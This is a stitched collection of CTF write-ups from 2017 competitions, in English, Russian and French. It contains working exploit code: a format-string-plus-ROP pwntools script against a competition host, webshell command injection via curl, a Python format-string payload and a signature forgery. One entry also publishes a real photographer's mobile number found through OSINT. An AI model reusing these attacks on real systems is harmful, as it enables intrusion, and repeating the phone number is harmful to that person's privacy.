extracted a valid signature or not. ## Executing The Attack We take the hash collisions we found for the prefix 'K ={n: ' and extend it with 40 '\x00', denote it with `n1,n2`.Then choose a `name` - 'a' and send _register_ requests to the server with `name` and `n1,n2` and exponentiate the response by $e^{-1}\ mod\ \varphi(2^{320})$ and save it as `sig1` and `sig2`.If the responses are even, we try again with a different name.We can verify we extracted the correct signatures by sending a _login_ request to the server with the signatures.Then, we extract `r` and `s` for each signature and compute the hashes of the messages locally:```pythonr1, r2 = sig1 / Q, sig2 / Q ## in fact - the same values1, s2 = sig1 % Q, sig2 % Qh1,h2 = h(makeMsg(name, n1)), h(makeMsg(name, n2))```and then compute `k` and then the `PRIVATE` key:```pythonk = ((h1 - h2) * modinv(s1 - s2, Q)) % QPRIVATE = ((s1 * k - h(makeMsg(name, n1))) * modinv(r1, Q)) % Q```(the calculation of `PRIVATE` according to `n1` and `n2` are the same and correspond to the `PUBLIC` key)Now, we can sign any name - including _admin_ :)```pythonn = '' ## doesn't matterk = 1 ## doesn't matterr = pow(G, k, P) % Qs = (modinv(k, Q) * (h(makeMsg(name, n)) + PRIVATE * r)) % Qadmin_sig = r*Q + s``` And that's it. We have a valid signature for `name = 'admin'` (with `n = ''`) and we can now login and get the flag. You may find the full solution's code [here](solve.py).
# Angry Guessing Game - 200 points Angry Guessing Game This game is currently in a trial mode. It asks for a license key to continue. Can you find this key?guessing_game Hints:* Binary file was updated. Please reload the file ### Solution Пробуем запустить нашу программу в linux, мы пытаемся угадать число загаданное в коде с помощью подсказок больше или меньше. На третьем уровне программа требует от нас лицензионный ключ для того что-бы играть дальше. Окей. Открываем наш файл в дизассемблере IDA Pro. Первым делом сразу открываем поиск всех строк которые вводит программа или были в коде: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_1.png) Находим нужную нам строчку, будем отталкиваться от неё: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_2.png) Нажимаем на клавиатуре "x", что бы посмотреть где использовалась фраза о правильном ключе: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_3.png) Или с помощью контекстного меню Jump => Jump to xref to operand... ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_4.png) ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_5.png) Повторяем наши действия: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_6.png) ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_7.png) ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_8.png) Теперь когда мы пришли к месту где вызывается этот текст, нажимаем "f5" или как на скриншоте через контекстное меню, смотрим псевдокод на C++ для удобства читаемсти кода: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_9.png) Здесь мы видим что присутствуют выводы сообщений как и о правильном ключе, так и о неверном. Нажимаем пробел, что бы посмотреть граф этой функции: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_10.png) Видим функцию "sub_6660" котрая сверяет ключ и в итоге отправляет нужный ответ нам: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_11.png) Открываем эту функцию и смотрим её псевдокод. Смотрим что возвращает функция, и видим что переменная "v4" берётся из функции "sub_67D0". ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_12.png) Смотрим что в ней: ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_13.png) Видим значения очень похожие на ASCII значения английского алфавита. Переводим их в символы нажатием на клавиатуре "r": ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_14.png) ![](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/Angry%20Guessing%20Game/assets/Screenshot_15.png)
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-decode-me.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-decode-me.md)
## Zipper (Misc, 50 points, 335 solves) Something doesn't seem quite right with this zip file. Can you fix it and get the flag? We are given a challenge with a [zip file](zipper_50d3dc76dcdfa047178f5a1c19a52118.zip) and a request to fix it. Attempting to unzip it returns an error as expected.```$ unzip zipper_50d3dc76dcdfa047178f5a1c19a52118.zipArchive: zipper_50d3dc76dcdfa047178f5a1c19a52118.zipwarning: filename too long--truncating.[ ]: bad extra field length (central)``` Our next step is to inspect the zip and get more information about what is wrong. Opening it inside of [010 Editor](https://www.sweetscape.com/010editor/) we can use the zip template to better understand what is wrong. From this point I attempted to fix the fields manually. While fixing the primary issues I could still not perform an unzip. Having identified the section containing the data, and not trusting the fields inside of the zip, I decided to bruteforce the decryption. The algorithm used is COMP_DEFLATE accoridng the zip file and the default. A quick google search of `python deflate` gives us this [stack overflow post](http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations) which is exactly what we want. Inflate without the header and of only the data. Since the zip file would normally contain that information of length and crc. _At least according to what I understand._ One bruteforce script later starting at the offset of data and we have the flag. ```pythonimport zlib with open('zipper_50d3dc76dcdfa047178f5a1c19a52118.zip') as f: for i in range(0x1E, 0x88): try: f.seek(i) decoded_data = f.read(0x88 - i) print zlib.decompress(decoded_data , -15) except Exception as e: pass``` **PCTF{f0rens1cs_yay}**
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/BITSCTF_Mis_Labour_20_Feb17.pdf](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/BITSCTF_Mis_Labour_20_Feb17.pdf)
# Time is##### Volga CTF 2017 (https://quals.2017.volgactf.ru)```Exploit 150Check out an extremelly useful utility at time-is.quals.2017.volgactf.ru:45678time_is``` This binary had quite a few steps needed to successfully exploit it. Above all, it was necessary to check leaked GOT offsets against https://github.com/niklasb/libc-database to find that the server is running `libc6:amd64 2.23-0ubuntu7`. Without this knowledge libc offsets in ROP are incorrectly calculated, and the whole exploits fails. ## Steps* Exploit format string vulnerability to leak stack address and stack canary* Calculate libc base address using the leaked stack address* Find payload offset to overwrite stack canary* Find payload offset to write to stack* Generate an execve ROP chain rebasing everything from the libc base address* Exploit buffer overflow vulnerability to: * Overwrite stack canary using the leaked value * Write ROP chain to the stack* Quit the program to trigger the exploit* Additionally, the remote service requires us to solve the following before we can send the payload: * `Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='1ead5924560eb9861e0de6e9'` ## Exploit ```pythonfrom pwn import *from struct import packimport sys, itertools, string, hashlibcontext(os='linux', arch='amd64') REMOTE = TrueDEBUG = False def solvePuzzle(p): puzzle = p.recvline() given = puzzle.split("'")[-2] charset = string.letters + string.digits print puzzle for combo in itertools.product(charset, repeat=5): combo = ''.join(combo) combo = given + combo sha1 = hashlib.sha1(combo) sha = sha1.digest() if sha[-1] != '\xff' or sha[-2] != '\xff' or sha[-3] != '\xff': continue control = sha[-4] control = ord(control) print 'bin control:', control, if control & 0b11 != 3: print 'fail', sha1.hexdigest() continue log.info(combo) p.sendline(combo) break if REMOTE: if DEBUG: p = remote('127.0.0.1', 45678) else: p = remote('time-is.quals.2017.volgactf.ru', 45678) solvePuzzle(p) else: p = process('time_is') if DEBUG: with open('time_is.gdb', 'r') as f: gdb.attach(p, exe='time_is', execute=f) p.recvline() # enterexploit = '%p.'*267 + '%p' + '%08x' # leak libc and canaryp.sendline(exploit)leak = p.recvline()libc = leak.split('.')[5]libc = int(libc, 16)libc -= 0x3C84A0 # check /proc/$pid/maps for libc base addr [libc6:amd64 2.23-0ubuntu7]log.info(hex(libc))canary = leak.split('.')[-1]canary = canary.split(':')[0]canary = canary.replace('0000000000', '00')canary = int(canary, 16)log.info(hex(canary)) p.recvline() # entercanary_offset = 2056stack_offset = 2120 def rebase(addr): return addr + libc rop = ''rop += pack('
## YubitSec CTF - Mobile Number - OSINT### Problem Who took this photo ?Can you find photographer's mobile number ?Show me, How stalker are you! Note: Flag format will be YUBITSEC{+1234567890} [photo.jpg](https://github.com/kipyegonmark/ctfs/blob/master/YubitSec-2017/MobileNumber/photo.jpg) ### Solution A reverse image search of the picture leads to the profile of [Isaac Kasamani](http://www.gettyimages.com/detail/news-photo/newly-arrived-refugees-from-south-sudan-receive-a-portion-news-photo/666947726#newly-arrived-refugees-from-south-sudan-receive-a-portion-of-sorghum-picture-id666947726), a Ugandan photojournalist. Additional Googlefu leads to a [personal blog](https://everydaylifethroughcamera.blogspot.com/) that contains a mobile number +256 (0) 752166288. FLAG: __YUBITSEC{+2560752166288}__
## YubitSec CTF - Location - OSINT### Problem Can you find location ? We are looking for city name ? All chars are lowercase and close. Flag format: YUBITSEC{losangeles} [location.jpg](https://github.com/kipyegonmark/ctfs/blob/master/YubitSec-2017/Location/location.jpg) ### Solution Running the image through a metadata viewer reveals a geotag with GPS latitude 51.620736 degrees and GPS longitude 69.229722 degrees. Opened in a map viewer indicates the city of Rio Gallegos Entering the coordinates into a map viewer reveals the city of [Rio Gallegos](https://www.openstreetmap.org/?mlat=-51.620736&mlon=-69.229722&zoom=15#map=11/-51.6207/-69.2297) which is the flag. FLAG: __YUBITSEC{riogallegos}__
## YubitSec CTF - Lectures? - Forensic### Problem I tried to log in lectures.yasar.edu.tr but I forgot my id.. But I have this file I think it has my id in it. Can you help me? Tip: If you can't see brackets just add them. [for1.pcapng](https://github.com/kipyegonmark/ctfs/blob/master/YubitSec-2017/Lectures%3F/for1.pcapng) ### Solution Examining the packet capture in Wireshark using the __expert information__ feature reveals an xml file in packet 185. The __Follow the TCP steam__ feature at packet 185 reveals a HTTP POST request containing a username and password. Based on the problem statement the username is the flag. FLAG: __YUBITSEC{http_1s_l4m3}__
## YubitSec CTF - Rome - Warmup### Problem Encrypted: PLSZKJVT{TRVJRI\_WFLEU\_KYZJ_RTKLRCCP} ### Solution The message is encrypted using the Caesar cipher shifted 9 times. Passing the message through an online [tool](http://www.xarg.org/tools/caesar-cipher/) returns the flag. FLAG: __YUBITSEC{CAESAR_FOUND_THIS_ACTUALLY}__
As I'm an idiot I didn't realise you could just decode the session, but it did mean I learnt about a nice little way to exploit format string bugs in python :) run.py had: ```@app.route('/rename/', methods=['POST'])def rename(): name = request.form['name'] new_name = request.form['new_name'] ... p = check(name, 'caught') if not p: return "Error: trying to name a pykemon you haven't caught!" ... for pykemon in s['pykemon']: if pykemon['pid'] == name: .. return "Successfully renamed to:\n" + new_name.format(p)``` so we could control an arbitrary formatstring called with a "pykemon" object, this article: http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ lead to a way to get the flag: ```POST /rename/ HTTP/1.1... name=Pyduck67&new_name={0.pykemon}``` ```Successfully renamed to:[[100, 'Pydiot', 'Pydiot', 'images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'], [90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'], [80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'], [70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png', 'Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'], [60, 'Pyduck', 'Pyduck', 'images/pyduck.png', 'Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'], [50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png', 'When this Pykamon sings, it never pauses to breathe.'], [40, 'Pykachu', 'Pykachu', 'images/pykachu.png', 'This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'], [30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png', 'Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'], [20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png', 'Pyrodactyl is a Pykamon from the age of dinosaurs'], [10, 'Pytwo', 'Pytwo', 'images/pytwo.png', 'Pytwo is a Pykamon created by genetic manipulation'], [0, 'FLAG', 'FLAG', 'images/flag.png', 'PCTF{N0t_4_sh1ny_M4g1k4rp}']]``` _s_n_t
## YubitSec CTF - File - Forensic### Problem Challenge's link https://drive.google.com/open?id=0B\_jBF_ZqfxnBd0tKcDJMVkw1Njg What is this file ?Can you find hidden flag ? Flag format: YUBITSEC{} ### Solution Using [binwalk](https://github.com/devttys0/binwalk) to analyse the downloaded [file](https://github.com/kipyegonmark/ctfs/blob/master/YubitSec-2017/File/File) reveals a collection of zip files. Running __binwalk -e__ to extract gives another zip file. Repeating the extraction process eventually leads to folder labelled __last__ that contains [flag.png](https://github.com/kipyegonmark/ctfs/blob/master/YubitSec-2017/File/flag.png) which has the text __C0MPR3SS10N_1S_G00D__. FLAG: __YUBITSEC{C0MPR3SS10N_1S_G00D}__
## YubitSec CTF - A Fine Cipher - Warmup### Problem a:9b:13 Encrypted:VLWHCTXF{N\_GHAX_FHSYXK} ### Solution The problem description was a hint that the message is encrypted using the [Affine Cipher](https://en.wikipedia.org/wiki/Affine_cipher). Using an online [tool](http://rumkin.com/tools/cipher/affine.php) to decrypt the message returns the flag. FLAG: __YUBITSEC{A_FINE_CIPHER}__
## Logarithms Are Hard (Misc, 10 points, 362 solves) What is e^(1.000000001)? Please enter in decimal with 7 places. (For example, if the answer was 2.71828183... the flag would be 2.7182818 ) In classic PlaidCTF fashion we have another "X are hard" challenge. A quick google search for `logarithm bug` gives us http://www.datamath.org/Story/LogarithmBug.htm. Further down the page we see the logarithm section we care about _The yx Function_. Our n value is 1,000,000,000 for 9 places, and in the table we see **2.7191928**.
**RSA 1 - Crypto - 325** Enoncé : ```Can you decrypt these ciphertexts ?```[Sources](src/) __Résolution :__ Même chose pour les 3 clés : On récupère les informations contenues dans la clé publique :```BASH openssl rsa -in pubkey.pem -pubin -text -modulus``` On remarque que le modulo est faible : ```Public-Key: (149 bit)Modulus: 1a:ac:d3:c9:0d:1a:bd:fd:dd:de:18:35:f5:8a:88: f0:36:8b:9fExponent: 65537 (0x10001)Modulus=1AACD3C90D1ABDFDDDDE1835F58A88F0368B9F-----BEGIN PUBLIC KEY-----MC4wDQYJKoZIhvcNAQEBBQADHQAwGgITGqzTyQ0avf3d3hg19YqI8DaLnwIDAQAB-----END PUBLIC KEY-----Public-Key: (154 bit)Modulus: 03:8a:f3:1e:59:8e:24:2b:5f:cf:1b:30:6f:df:f0: e2:d6:6e:f2:39Exponent: 65537 (0x10001)Modulus=38AF31E598E242B5FCF1B306FDFF0E2D66EF239-----BEGIN PUBLIC KEY-----MC8wDQYJKoZIhvcNAQEBBQADHgAwGwIUA4rzHlmOJCtfzxswb9/w4tZu8jkCAwEAAQ==-----END PUBLIC KEY-----Public-Key: (151 bit)Modulus: 65:7a:90:84:26:10:1a:fa:25:51:cf:ca:26:e3:9a: f5:64:53:27Exponent: 65537 (0x10001)Modulus=657A908426101AFA2551CFCA26E39AF5645327-----BEGIN PUBLIC KEY-----MC4wDQYJKoZIhvcNAQEBBQADHQAwGgITZXqQhCYQGvolUc/KJuOa9WRTJwIDAQAB-----END PUBLIC KEY-----```On passe le modulo de hexa à int est on le factorise :```PYTHON sage : n=int("mon_modulo_en_hexa",16)sage : factor(n)``` On récupère p & qon recréé les clé publique avec rsatool : ```BASH python rsatool.py -p mon_p -q mon_q -f PEM -o privkey.pem``` On déchiffre : ```BASH openssl rsautl -decrypt -inkey privkey.pem -in cipher.txt``` flag : YUBITSEC{S4V3_FL46} By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
**Simple Encryption - Crypto - 175** Enoncé : ```Deux fichiers sont mis à notre disposition : 1 - Un chiffré2 - Le script python pour chiffrer```[Sources](src/) __Résolution :__ Le script de "chiffrement" xor chaque caractère (passé en décimal) avec le nombre 62. Il suffit de faire de même pour retrouver le flag en clair. ```PYTHONencrypted=[103,107,124,119,106,109,123,125,69,73,91,82,82,97,89,76,91,95,74,67]char=""for nb in encrypted: char+=chr(nb^62)print char```YUBITSEC{well_great} By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
**Easy - Crypto - 100** Enoncé : ```Seems like there must be hiding flag, find it!```[Sources](src/) __Résolution :__ On a une liste de hash md5, on les déchiffre grâce à [hashkiller](https://hashkiller.co.uk/md5-decrypter.aspx) ```MD5?_Hell_Yes!_So_you_know_what_do_you[...] YUBITSEC{I_h0p3_y0u_didn't_try_t0_d3crpyt_on3_by_on3} maybe_flag_can_be_little_bit_upI_think_flag_won't_be_ending_part ``` By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
############################################################ If we take a look at run.py, we see that the session is managed by Flask, and it seems like a secret key is used to encode the session. We also notice, that the session exists of some sort of state, containing the "Room" object that was generated on connection, the Caught object, which contains the pokemon you have caught, and a balls object which contans the amount of pykeballs the user has left. The flag is most probably located within the description of the pykemon named "FLAG". ############################################################ First, we checked why it is that we cannot just click flag like any other pokemon and get a chance of "catching" it. Turns out, the "rarity" variable for "FLAG" is 0, and the formula for catching a pokemon with rarity X is impossible to "pass" for X<10. ```elif p.rarity > 0: chance = (randint(1,90) + p.rarity) / 100 if chance > 0:``` So we need to get another way to catch this flag. ############################################################ The whole "room" is stored in the session, but it looks like we need a secret key to decode this. A quick google on "Flask session decode" gives us following video: https://www.youtube.com/watch?v=mhcnBTDLxCI The second example shows us how to decode a compressed session, which is identifyable by the first character being a DOT ['.'] . ```import zlibimport crypto print(zlib.decode(base64.urlsafe_base64decode(***INSERT_SESSION_COOKIE_HERE***))); ``` Gives us the decoded cookie in JSON format, with values encoded in base64 format. My cookie turned out to be: ```b'{"balls":10,"caught":{"pykemon":[]},"room":{"pykemon":[{"description":{" b":"UENURntOMHRfNF9zaDFueV9NNGcxazRycH0="},"hp":65,"name":{" b":"RkxBRw=="},"nickname":{" b":"RkxBRw=="},"pid":{" b":"RkxBRzY1"},"rarity":0,"sprite":{" b":"aW1hZ2VzL2ZsYWcucG5n"}},{"description":{" b":"UHl0d28gaXMgYSBQeWthbW9uIGNyZWF0ZWQgYnkgZ2VuZXRpYyBtYW5pcHVsYXRpb24="},"hp":19,"name":{" b":"UHl0d28="},"nickname":{" b":"UHl0d28="},"pid":{" b":"UHl0d28xOQ=="},"rarity":10,"sprite":{" b":"aW1hZ2VzL3B5dHdvLnBuZw=="}},{"description":{" b":"UHlkdWNrIGlzIGEgeWVsbG93IFB5a2Ftb24gdGhhdCByZXNlbWJsZXMgYSBkdWNrIG9yIGJpcGVkYWwgcGxhdHlwdXM="},"hp":1,"name":{" b":"UHlkdWNr"},"nickname":{" b":"UHlkdWNr"},"pid":{" b":"UHlkdWNrMQ=="},"rarity":60,"sprite":{" b":"aW1hZ2VzL3B5ZHVjay5wbmc="}},{"description":{" b":"UHl0d28gaXMgYSBQeWthbW9uIGNyZWF0ZWQgYnkgZ2VuZXRpYyBtYW5pcHVsYXRpb24="},"hp":22,"name":{" b":"UHl0d28="},"nickname":{" b":"UHl0d28="},"pid":{" b":"UHl0d28yMg=="},"rarity":10,"sprite":{" b":"aW1hZ2VzL3B5dHdvLnBuZw=="}},{"description":{" b":"V2hlbiB0aGlzIFB5a2Ftb24gc2luZ3MsIGl0IG5ldmVyIHBhdXNlcyB0byBicmVhdGhlLg=="},"hp":98,"name":{" b":"UHlnZ2xpcHVmZg=="},"nickname":{" b":"UHlnZ2xpcHVmZg=="},"pid":{" b":"UHlnZ2xpcHVmZjk4"},"rarity":50,"sprite":{" b":"aW1hZ2VzL3B5Z2dsaXB1ZmYucG5n"}},{"description":{" b":"UHlyb2RhY3R5bCBpcyBhIFB5a2Ftb24gZnJvbSB0aGUgYWdlIG9mIGRpbm9zYXVycw=="},"hp":24,"name":{" b":"UHlyb2RhY3R5bA=="},"nickname":{" b":"UHlyb2RhY3R5bA=="},"pid":{" b":"UHlyb2RhY3R5bDI0"},"rarity":20,"sprite":{" b":"aW1hZ2VzL3B5cm9kYWN0eWwucG5n"}},{"description":{" b":"VGhpcyBQeWthbW9uIGhhcyBlbGVjdHJpY2l0eS1zdG9yaW5nIHBvdWNoZXMgb24gaXRzIGNoZWVrcy4gVGhlc2UgYXBwZWFyIHRvIGJlY29tZSBlbGVjdHJpY2FsbHkgY2hhcmdlZCBkdXJpbmcgdGhlIG5pZ2h0IHdoaWxlIFB5a2FjaHUgc2xlZXBzLg=="},"hp":64,"name":{" b":"UHlrYWNodQ=="},"nickname":{" b":"UHlrYWNodQ=="},"pid":{" b":"UHlrYWNodTY0"},"rarity":40,"sprite":{" b":"aW1hZ2VzL3B5a2FjaHUucG5n"}}],"pykemon_count":7,"rid":0}}'``` To make things easier, i encoded "FLAG" to base64, which turned out to be RkxBRw==. We can clearly see now, the description field of the object with nickname "RkxBRw==" is UENURntOMHRfNF9zaDFueV9NNGcxazRycH0=, Which turns out to be Base64 for PCTF{N0t_4_sh1ny_M4g1k4rp}
Going into this question, we had no knowledge of quantum crypto - the wikipedia article and this youtube video were a good intro for this question. Once we had a decent idea of what was going on with the protocol, we nc to the server and see that we are able to intercept or not intercept qubits. If this was a classical data stream, all we would have to do is intercept the bits and forward them on; however, we can't do that here because intercepting qubits and measuring them changes their value. This means that when we intercept a qubit and forward on what we measured, we can't be certain this is an identical qubit to what we received. At this point we started coding the python script that would interact with the server. The first goal was to make a program that could get to the end of the communications. All this program would do is forward packets until both sides of the connection dropped (hopefully after they had sent their classical message). The next goal was to make a function that would allow the script to intercept a single packet at any given point and optionally forward on what the measured value was. After that, we could really start working on the problem.
<h2>Challenge</h2> There was a IP address and port to netcat into. The challenge then presented it's self. A list of number and associated keywords. Pressing enter the challenge would begin. A number was then printed. After playing with the challenge the correct response would be:* If the number given was a number in the list enter in the keyword associated with it.* If the number was not in the list, but was divisible by numbers in the list enter in order the keyword(s) without spaces * If the number was not in the list and not divisible, enter "FAKE NUMBER" <h2>Solution / Script</h2> I created a script that connected and hit "enter" to begin. Then added onto to reading in the number is received and checking if it was in the list the challenge provided (which I put into a python dictionary). Then added `%` modulo to determine if it was divisible and if so to concatenate the keyword onto the result. After everything was checked it would return the answer. If all numbers were checked and not in the dictionary, or not divisible by a number in the dictionary it returned "FAKE NUMBER". This script took ~2-5 minutes to run then it printed out the final response, the flag. ```sun{I_g1vE_u_nUM3r0_u_G1v3_m3_alt3Rn4TE_nUMEr0}``` ```pythonimport socketimport time dict = {"2":"fallout", "3":"survivor", "5":"comrade", "7":"nuclear", "11":"apocalypse", "13":"shelter", "17":"war", "19":"radioactive", "23":"atom", "29":"bomb", "31":"radiation", "37":"destruction", "41":"mushroom", "43":"armageddon", "47":"disaster", "53":"pollution", "59":"military", "61":"science", "67":"winter", "71":"death", "73":"atmosphere", "79":"bunker", "83":"soldier", "89":"danger", "97":"doomsday"} def calc(data): result = "" for key in sorted(dict.iterkeys(), key=int): if data == key: result = dict[data] break else: divisible = int(data)%int(key)# print "data%key="+data+key+"="+divisible if divisible == 0: result += dict[key] if result == "": result = "FAKE NUMBER" return result s = socket.socket() s.connect(("34.208.132.18",30001))time.sleep(1)ans = s.recv(2048)print ans s.send("\n")while 1: time.sleep(2) ans = s.recv(1024).strip() if ans == "": break print "got: ", ans result=calc(ans) print result s.send(str(result)+"\n")```
**Webshell - Web - 300** Enoncé : ```Now somebody uploaded a web shell to my web server. What a nice guy hurray! http://138.197.41.168:8081/ HINT: I think somebody used some commands already but I could not figure how to find them. ``` ![Alt](img/shell_as_service.png "shell_as_service.png") __Résolution :__ On injecte tout d'abord une commande de base :```BASHcurl -XPOST http://138.197.41.168:8081/ --data "command=ls" index.php shell.jpg flag.txt``` Le fichier flag.txt n'est pas directement accessible. Le hint donné nous donne un sacré indice sur la commande à injecter : ```BASHcurl -XPOST http://138.197.41.168:8081/ --data "command=history" 1 ZXh0c2 mFfc23 VjdXJ4 lX2Zp5 bGVfc6 mVhZG7 Vy ```On décode le base64 : ```BASHecho -n 'ZXh0c mFfc2 VjdXJ lX2Zp bGVfc mVhZG Vy' | base64 -di extra_secure_file_reader```On va lire le fichier qui nous intéresse ```BASH curl -XPOST http://138.197.41.168:8081/ --data "command=extra_secure_file_reader flag.txt" YUBITSEC{shello_shello_are_you_thereo} ``` By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
**Diffie Hellman - Crypto - 225** Enoncé : ```Just find a and b Note: Flag format will be YUBITSEC{a,b} ```![Alt](img/crypto.jpg "crypto") __Résolution :__ On a comme information sur l'image :```q=1357g=10 g^a mod q = 419g^b mod q = 34g^ab mod q = 33 a < 1000b < 1000```Avec Sagemath on résout l'équation : ``` sage: for a in range(1000):....: if int(pow(g,a)%q)==419:....: print "trouver :"+str(a)....: ....: trouver :521 sage: for b in range(1000):....: if int(pow(g,b)%q)==34:....: print "trouver :"+str(b)....: ....: ....: trouver :619``` flag : YUBITSEC{521,619} By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
Serial || 300 points || Forensics - Solved (1 solve)---------------------------------------------------------- This challenge was pretty fun -- and very very frustrating when I had noidea what I was doing or where to go next. *(I'm reminded of that timewhen I accidentally mirror-inverted then rotated the QR code I wastrying to de-corrupt and decode, and so of course didn't make anyprogress at all...)* From the title 'Serial', it was pretty likely that this would be astream of serial data, so all I had to do was decode that, right? Supereasy, right? Solving the challenge:---------------------- ### Scoping it out I opened the audio file in audacity. This is pretty much always worthdoing for any sort of forensics-y audio file: often it looks interestingeither in the waveform view (if you zoom in enough), or in thespectrogram view (check out both linear and log scales). ![](https://raw.githubusercontent.com/andrewjbennett/ctf-writeups/master/2017/easyctf/media/image00.png) *Figure 1: screenshot of .wav opened in audacity. there are **very**obvious high/low "values".* Okay, cool, let's try to convert the low/high from the audio file to astream of 0s and 1s. I started out in hexinator (fantastic hex editor, 10/10 highlyrecommended for CTF stuff --[*https://hexinator.com/*](https://hexinator.com/)) to check out theheaders/metadata (and get the offset for where the data started), and tosee if anything stood out in the raw bytes. *(You can also get themetadata using `ffprobe`, and stare at the hexdump using `xxd`,which could be better if you're in a hurry.)* The wav file stored sounds as 16 bit values, which means they will rangebetween roughly -32760 and 32760. ### Pulling apart the .WAV file I opened the wav file as raw bytes in python, started from the firstbyte after the header ended, and printed them out to see if I could seeany obvious patterns -- ideally, it would be super trivial to get thelow/high out of the audio file. ```pythona = open("easyctf_serial.wav", "rb").read()b = a[44:] # the header is 44 bytes long, skip to the data # take every two bytes, and interpret them as a short integer, storing# it in an arrayraw_bytes = [struct.unpack('h', ''.join(b[i : i+2]))[0] for i inxrange(0, len(b), 2)]``` And, indeed there was: the numbers all fluctuated around roughly -1000to -2000 for a while, then suddenly jumped slightly positive (300, 1000,1400, 1650, 1400, 870) then suddenly very negative (down to about-20000). They stuck around being very negative for a bit, then jumped upto slightly positive, then back down to very negative, forming thesquare-ish wave-y shapes seen in the picture above. Unfortunately, there was no nice obvious cutoff for what defined low vshigh: you can see in the screenshot below that the 'low' starts outpretty low, but the 'high' starts out barely above the centre line(those slightly-positive numbers: maxing out at 1650 (out of a possiblemax of 32760) initially. ![](https://raw.githubusercontent.com/andrewjbennett/ctf-writeups/master/2017/easyctf/media/image01.png) *Figure 2: you can see that the audio file starts out with low/high beingshifted lower, then levels out to low/high being roughly symmetrical* ### Converting to 0s and 1s I worked out the relative low/high based on where a given value fellbetween the biggest and smallest values we'd seen thus far; throughtrial and error, taking anything that was in the top 65% as high and thebottom 45% as low worked out pretty well. ```pythonfor cur in raw_bytes: # update bounds if cur < c_min: c_min = cur if cur > c_max: c_max = cur pos = (cur-c_min)/float(c_max+1 - c_min) # avoid div by 0 # where are we in relation to the biggest/smallest we've seen so far?print "%6d: %f | %6d %6d" % (cur, pos, c_min, c_max) if pos > 0.65: # we're in an upswing print ">>> 1" elif pos < 0.35: # downswing print ">>> 0"``` Some sample output: ```current_value relative_pos min max 1492: 0.974809 | -20836 2068>>> 1 807: 0.944903 | -20836 2068>>> 1 -40: 0.907924 | -20836 2068>>> 1 -941: 0.868588 | -20836 2068>>> 1 -1804: 0.830910 | -20836 2068>>> 1 -2552: 0.798254 | -20836 2068>>> 1 -3089: 0.774809 | -20836 2068>>> 1 -3393: 0.761537 | -20836 2068>>> 1 -3405: 0.761013 | -20836 2068>>> 1 -3157: 0.771840 | -20836 2068>>> 1 -2658: 0.793626 | -20836 2068>>> 1 -1976: 0.823401 | -20836 2068>>> 1 -1168: 0.858677 | -20836 2068>>> 1 -338: 0.894914 | -20836 2068>>> 1 433: 